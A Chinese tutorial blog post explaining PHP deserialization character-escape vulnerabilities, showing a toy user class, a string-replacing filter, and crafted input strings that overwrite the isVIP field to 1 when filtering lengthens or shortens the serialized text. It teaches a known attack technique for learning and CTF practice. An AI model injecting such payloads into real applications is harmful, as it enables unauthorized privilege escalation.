当前位置 博文首页 > 文章内容

    深入了解PHP中反序列化字符逃逸的原理

    作者:shunshunshun18 栏目:未分类 时间:2021-08-25 10:43:45

    本站于2023年9月4日。收到“大连君*****咨询有限公司”通知
    说我们IIS7站长博客,有一篇博文用了他们的图片。
    要求我们给他们一张图片6000元。要不然法院告我们

    为避免不必要的麻烦,IIS7站长博客,全站内容图片下架、并积极应诉
    博文内容全部不再显示,请需要相关资讯的站长朋友到必应搜索。谢谢!

    另祝:版权碰瓷诈骗团伙,早日弃暗投明。

    相关新闻:借版权之名、行诈骗之实,周某因犯诈骗罪被判处有期徒刑十一年六个月

    叹!百花齐放的时代,渐行渐远!



    PHP反序列化字符逃逸的原理

    当开发者使用先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。

    详解PHP反序列化字符逃逸

    对于PHP反序列字符逃逸,我们分为以下两种情况进行讨论。

    • 过滤后字符变多

    • 过滤后字符变少

    过滤后字符变多

    假设我们先定义一个user类,然后里面一共有3个成员变量:usernamepasswordisVIP

    class user{
    public $username;
    public $password;
    public $isVIP;
    public function __construct($u,$p){
    $this->username = $u;
    $this->password = $p;
    $this->isVIP = 0;
      }
    }

    可以看到当这个类被初始化的时候,isVIP变量默认是0,并且不受初始化传入的参数影响。

    接下来把完整代码贴出来,便于我们分析。

    <?php
    class user{
    public $username;
    public $password;
    public $isVIP;
    public function __construct($u,$p){
    $this->username = $u;
    $this->password = $p;
    $this->isVIP = 0;
      }
    }
    $a = new user("admin","123456");
    $a_seri = serialize($a);
    echo $a_seri;
    ?>

    这一段程序的输出结果如下:

    O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

    可以看到,对象序列化之后的isVIP变量是0

    这个时候我们增加一个函数,用于对admin字符进行替换,将admin替换为hacker,替换函数如下:

    function filter($s){
    return str_replace("admin","hacker",$s);
    }

    因此整段程序如下:

    <?php
    class user{
    public $username;
    public $password;
    public $isVIP;
    public function __construct($u,$p){
    $this->username = $u;
    $this->password = $p;
    $this->isVIP = 0;
      }
    }
    function filter($s){
    return str_replace("admin","hacker",$s);
    }
    $a = new user("admin","123456");
    $a_seri = serialize($a);
    $a_seri_filter = filter($a_seri);
    echo $a_seri_filter;
    ?>

    这一段程序的输出为:

    O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

    这个时候我们把这两个程序的输出拿出来对比一下:

    O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //未过滤
    O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //已过滤

    可以看到已过滤字符串中的hacker与前面的字符长度不对应了

    s:5:"admin";
    s:5:"hacker";

    在这个时候,对于我们,在新建对象的时候,传入的admin就是我们的可控变量

    接下来明确我们的目标:将isVIP变量的值修改为1

    首先我们将我们的现有子串目标子串进行对比:

    ";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //现有子串
    ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串

    也就是说,我们要在admin这个可控变量的位置,注入我们的目标子串

    首先计算我们需要注入的目标子串的长度

    ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
    //以上字符串的长度为47

    因为我们需要逃逸的字符串长度为47,并且admin每次过滤之后都会变成hacker,也就是说每出现一次admin,就会多1个字符。

    因此我们在可控变量处,重复47admin,然后加上我们逃逸后的目标子串,可控变量修改如下:

    adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

    完整代码如下:

    <?php
    class user{
    public $username;
    public $password;
    public $isVIP;
    public function __construct($u,$p){
    $this->username = $u;
    $this->password = $p;
    $this->isVIP = 0;
      }
    }
    function filter($s){
    return str_replace("admin","hacker",$s);
    }
    $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
    $a_seri = serialize($a);
    $a_seri_filter = filter($a_seri);
    echo $a_seri_filter;
    ?>

    程序输出结果为:

    O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

    我们可以数一下hacker的数量,一共是47hacker,共282个字符,正好与前面282相对应。

    后面的注入子串也正好完成了逃逸。

    反序列化后,多余的子串会被抛弃

    我们接着将这个序列化结果反序列化,然后将其输出,完整代码如下:

    <?php
    class user{
    public $username;
    public $password;
    public $isVIP;
    public function __construct($u,$p){
    $this->username = $u;
    $this->password = $p;
    $this->isVIP = 0;
      }
    }
    function filter($s){
    return str_replace("admin","hacker",$s);
    }
    $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
    $a_seri = serialize($a);
    $a_seri_filter = filter($a_seri);
    $a_seri_filter_unseri = unserialize($a_seri_filter);
    var_dump($a_seri_filter_unseri);
    ?>

    程序输出如下:

    object(user)#2 (3) {
      ["username"]=>
    string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
      ["password"]=>
    string(6) "123456"
      ["isVIP"]=>
    int(1)
    }

    可以看到这个时候,isVIP这个变量就变成了1,反序列化字符逃逸的目的也就达到了。

    过滤后字符变少

    上面描述了PHP反序列化字符逃逸中字符变多的情况。

    以下开始解释反序列化字符逃逸变少的情况。

    首先,和上面的主体代码还是一样,还是同一个class,与之有区别的是过滤函数中,我们将hacker修改为hack。

    完整代码如下:

    <?php
    class user{
    public $username;
    public $password;
    public $isVIP;
    public function __construct($u,$p){
    $this->username = $u;
    $this->password = $p;
    $this->isVIP = 0;
      }
    }
    function filter($s){
    return str_replace("admin","hack",$s);
    }
    $a = new user('admin','123456');
    $a_seri = serialize($a);
    $a_seri_filter = filter($a_seri);
    echo $a_seri_filter;
    ?>

    得到结果:

    O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

    同样比较一下现有子串目标子串

    ";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //现有子串
    ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串

    因为过滤的时候,将5个字符删减为了4个,所以和上面字符变多的情况相反,随着加入的admin的数量增多,现有子串后面会缩进来。

    计算一下目标子串的长度:

    ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串
    //长度为47

    再计算一下到下一个可控变量的字符串长度:

    ";s:8:"password";s:6:"
    //长度为22

    因为每次过滤的时候都会少1个字符,因此我们先将admin字符重复22遍(这里的22遍不像字符变多的逃逸情况精确,后面可能会需要做调整)

    完整代码如下:(这里的变量里一共有22个admin

    <?php
    class user{
    public $username;
    public $password;
    public $isVIP;
    public function __construct($u,$p){
    $this->username = $u;
    $this->password = $p;
    $this->isVIP = 0;
      }
    }
    function filter($s){
    return str_replace("admin","hack",$s);
    }
    $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','123456');
    $a_seri = serialize($a);
    $a_seri_filter = filter($a_seri);
    echo $a_seri_filter;
    ?>

    输出结果:

    注意:PHP反序列化的机制是,比如如果前面是规定了有10个字符,但是只读到了9个就到了双引号,这个时候PHP会把双引号当做第10个字符,也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。

    O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

    这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:

    hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:

    1.png

    也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串

    ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串

    完整代码为:

    <?php
    class user{
    public $username;
    public $password;
    public $isVIP;
    public function __construct($u,$p){
    $this->username = $u;
    $this->password = $p;
    $this->isVIP = 0;
      }
    }
    function filter($s){
    return str_replace("admin","hack",$s);
    }
    $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
    $a_seri = serialize($a);
    $a_seri_filter = filter($a_seri);
    echo $a_seri_filter;
    ?>

    输出:

    O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

    仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105

    2.png

    造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确

    解决办法是:多添加2admin,这样就可以补上缺少的字符。

    修改后代码如下:

    <?php
    class user{
    public $username;
    public $password;
    public $isVIP;
    public function __construct($u,$p){
    $this->username = $u;
    $this->password = $p;
    $this->isVIP = 0;
      }
    }
    function filter($s){
    return str_replace("admin","hack",$s);
    }
    $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
    $a_seri = serialize($a);
    $a_seri_filter = filter($a_seri);
    echo $a_seri_filter;
    ?>

    输出结果为:

    O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

    分析一下输出结果:

    3.png

    可以看到,这一下就对了。

    我们将对象反序列化然后输出,代码如下:

    <?php
    class user{
    public $username;
    public $password;
    public $isVIP;
    public function __construct($u,$p){
    $this->username = $u;
    $this->password = $p;
    $this->isVIP = 0;
      }
    }
    function filter($s){
    return str_replace("admin","hack",$s);
    }
    $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
    $a_seri = serialize($a);
    $a_seri_filter = filter($a_seri);
    $a_seri_filter_unseri = unserialize($a_seri_filter);
    var_dump($a_seri_filter_unseri);
    ?>

    得到结果:

    object(user)#2 (3) {
      ["username"]=>
    string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:""
      ["password"]=>
    string(6) "123456"
      ["isVIP"]=>
    int(1)
    }

    可以看到,这个时候isVIP的值也为1,也就达到了我们反序列化字符逃逸的目的了

    推荐学习:《》